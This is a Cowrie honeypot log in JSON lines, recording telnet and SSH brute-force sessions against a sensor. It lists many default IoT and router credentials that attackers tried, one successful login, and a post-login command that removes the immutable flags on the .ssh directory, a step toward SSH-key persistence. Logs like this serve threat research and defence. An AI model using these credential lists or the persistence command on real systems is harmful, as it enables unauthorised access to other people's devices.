{"eventid":"cowrie.session.closed","duration":13.023393869400024,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:07.904677Z","src_ip":"186.243.1.139","session":"1e2bd5b09503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":46344,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d8ead154c3d","protocol":"telnet","message":"New connection: 45.63.78.87:46344 (10.17.0.5:23) [session: 9d8ead154c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:15.746197Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","size":1774,"shasum":"8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","duplicate":true,"duration":"29.3","message":"Closing TTY Log: var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225 after 29.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:22.987475Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.871152639389038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:23.001144Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.130.237.235","src_port":56777,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e88ac68a97b","protocol":"telnet","message":"New connection: 85.130.237.235:56777 (159.203.135.109:23) [session: 1e88ac68a97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:23.132334Z"}
{"eventid":"cowrie.login.failed","username":"Epuser","password":"userEp","message":"login attempt [Epuser/userEp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:23.756275Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"MANAGER","password":"TCH","message":"login attempt [MANAGER/TCH] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:24.428061Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hme12345","message":"login attempt [root/hme12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:25.096297Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mlusr","password":"mlusr","message":"login attempt [mlusr/mlusr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:25.759775Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168171882629395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:25.845745Z","src_ip":"45.63.78.87","session":"e4d266d5eaa7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"system","message":"login attempt [root/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:26.424393Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"/*6.=_ja","message":"login attempt [root//*6.=_ja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:27.093378Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pon521","message":"login attempt [root/Pon521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:27.756327Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"adtecftp","password":"adtecftp","message":"login attempt [adtecftp/adtecftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:28.616454Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zhone","message":"login attempt [admin/zhone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:29.280118Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1sev5y7c39k","message":"login attempt [root/a1sev5y7c39k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:29.940100Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"xmhdipc","message":"login attempt [root/xmhdipc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:30.604327Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxic521","message":"login attempt [root/Zxic521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:31.264260Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"default","password":"tlJwpbo6","message":"login attempt [default/tlJwpbo6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:31.932296Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68620014190674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:32.123755Z","src_ip":"45.63.78.87","session":"be213d689181","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"useradmin","password":"useradmin123","message":"login attempt [useradmin/useradmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:32.595909Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169097900390625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:33.192278Z","src_ip":"45.63.78.87","session":"5191bb434a3e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"CenturyL1nk","message":"login attempt [admin/CenturyL1nk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:33.262072Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.27970576286316,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:33.411964Z","src_ip":"85.130.237.235","session":"1e88ac68a97b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e2ee375f8dc","protocol":"telnet","message":"New connection: 45.63.78.87:51346 (10.17.0.5:23) [session: 5e2ee375f8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:34.816361Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":52036,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3d6b223147","protocol":"telnet","message":"New connection: 45.63.78.87:52036 (10.17.0.5:23) [session: af3d6b223147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:36.733989Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":53402,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cbb2a278722","protocol":"telnet","message":"New connection: 45.63.78.87:53402 (10.17.0.5:23) [session: 1cbb2a278722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:42.871020Z"}
{"eventid":"cowrie.session.closed","duration":31.23663091659546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:46.982708Z","src_ip":"45.63.78.87","session":"9d8ead154c3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"87637652a263","protocol":"telnet","message":"New connection: 45.63.78.87:55060 (10.17.0.5:23) [session: 87637652a263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:49.288513Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.16.75.249","src_port":38252,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7cc0c950ff1","protocol":"telnet","message":"New connection: 62.16.75.249:38252 (159.203.135.109:23) [session: b7cc0c950ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:51.696020Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":12423,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ea65efa8db7","protocol":"ssh","message":"New connection: 185.9.193.111:12423 (159.203.135.109:22) [session: 8ea65efa8db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:52.003943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:56.017361Z","src_ip":"185.9.193.111","session":"8ea65efa8db7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:56.024499Z","src_ip":"185.9.193.111","session":"8ea65efa8db7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:56.299771Z","src_ip":"185.9.193.111","session":"8ea65efa8db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":58744,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a176759d11","protocol":"telnet","message":"New connection: 45.63.78.87:58744 (10.17.0.5:23) [session: b1a176759d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:04.460462Z"}
{"eventid":"cowrie.session.closed","duration":12.771280288696289,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:04.467214Z","src_ip":"62.16.75.249","session":"b7cc0c950ff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175166606903076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:05.991421Z","src_ip":"45.63.78.87","session":"5e2ee375f8dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.485275506973267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:07.219150Z","src_ip":"45.63.78.87","session":"af3d6b223147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":59586,"dst_ip":"10.17.0.5","dst_port":23,"session":"135ba985b40a","protocol":"telnet","message":"New connection: 45.63.78.87:59586 (10.17.0.5:23) [session: 135ba985b40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:07.995782Z"}
{"eventid":"cowrie.session.closed","duration":30.277360916137695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:13.148275Z","src_ip":"45.63.78.87","session":"1cbb2a278722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":33134,"dst_ip":"10.17.0.5","dst_port":23,"session":"3592d3a90710","protocol":"telnet","message":"New connection: 45.63.78.87:33134 (10.17.0.5:23) [session: 3592d3a90710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:14.829628Z"}
{"eventid":"cowrie.session.closed","duration":30.79041838645935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:20.078857Z","src_ip":"45.63.78.87","session":"87637652a263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":37472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5356f2f38c5","protocol":"telnet","message":"New connection: 45.63.78.87:37472 (10.17.0.5:23) [session: c5356f2f38c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:31.468737Z"}
{"eventid":"cowrie.session.closed","duration":31.057994842529297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:35.518364Z","src_ip":"45.63.78.87","session":"b1a176759d11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.542083740234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:39.537683Z","src_ip":"45.63.78.87","session":"135ba985b40a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":40306,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c17fbd44ec","protocol":"telnet","message":"New connection: 45.63.78.87:40306 (10.17.0.5:23) [session: 70c17fbd44ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:43.325527Z"}
{"eventid":"cowrie.session.closed","duration":31.873555183410645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:20:46.703053Z","src_ip":"45.63.78.87","session":"3592d3a90710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":44534,"dst_ip":"10.17.0.5","dst_port":23,"session":"91e615ad5a15","protocol":"telnet","message":"New connection: 45.63.78.87:44534 (10.17.0.5:23) [session: 91e615ad5a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:00.483342Z"}
{"eventid":"cowrie.session.closed","duration":30.592230796813965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:02.060748Z","src_ip":"45.63.78.87","session":"c5356f2f38c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":45416,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba1fb69af7f","protocol":"telnet","message":"New connection: 45.63.78.87:45416 (10.17.0.5:23) [session: 7ba1fb69af7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:04.895779Z"}
{"eventid":"cowrie.session.closed","duration":31.15246343612671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:14.477863Z","src_ip":"45.63.78.87","session":"70c17fbd44ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b151ef850d4","protocol":"telnet","message":"New connection: 45.63.78.87:50788 (10.17.0.5:23) [session: 5b151ef850d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:25.917014Z"}
{"eventid":"cowrie.session.closed","duration":31.140061140060425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:31.623296Z","src_ip":"45.63.78.87","session":"91e615ad5a15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.140913724899292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:35.036766Z","src_ip":"45.63.78.87","session":"7ba1fb69af7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":64407,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c9e3cae2825","protocol":"ssh","message":"New connection: 185.9.193.111:64407 (159.203.135.109:22) [session: 9c9e3cae2825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:41.611829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:41.616072Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:42.018599Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin1234","message":"login attempt [admin/Admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:44.397704Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:46.083013Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:46.086429Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:46.090427Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:46.940819Z","src_ip":"185.9.193.111","session":"9c9e3cae2825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":38973,"dst_ip":"159.203.135.109","dst_port":22,"session":"780ee861eab3","protocol":"ssh","message":"New connection: 185.9.193.111:38973 (159.203.135.109:22) [session: 780ee861eab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:53.707418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:53.711826Z","src_ip":"185.9.193.111","session":"780ee861eab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:54.290907Z","src_ip":"185.9.193.111","session":"780ee861eab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":58884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40db588ce67","protocol":"telnet","message":"New connection: 45.63.78.87:58884 (10.17.0.5:23) [session: f40db588ce67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:55.585772Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:21:55.953870Z","src_ip":"185.9.193.111","session":"780ee861eab3","protocol":"ssh"}
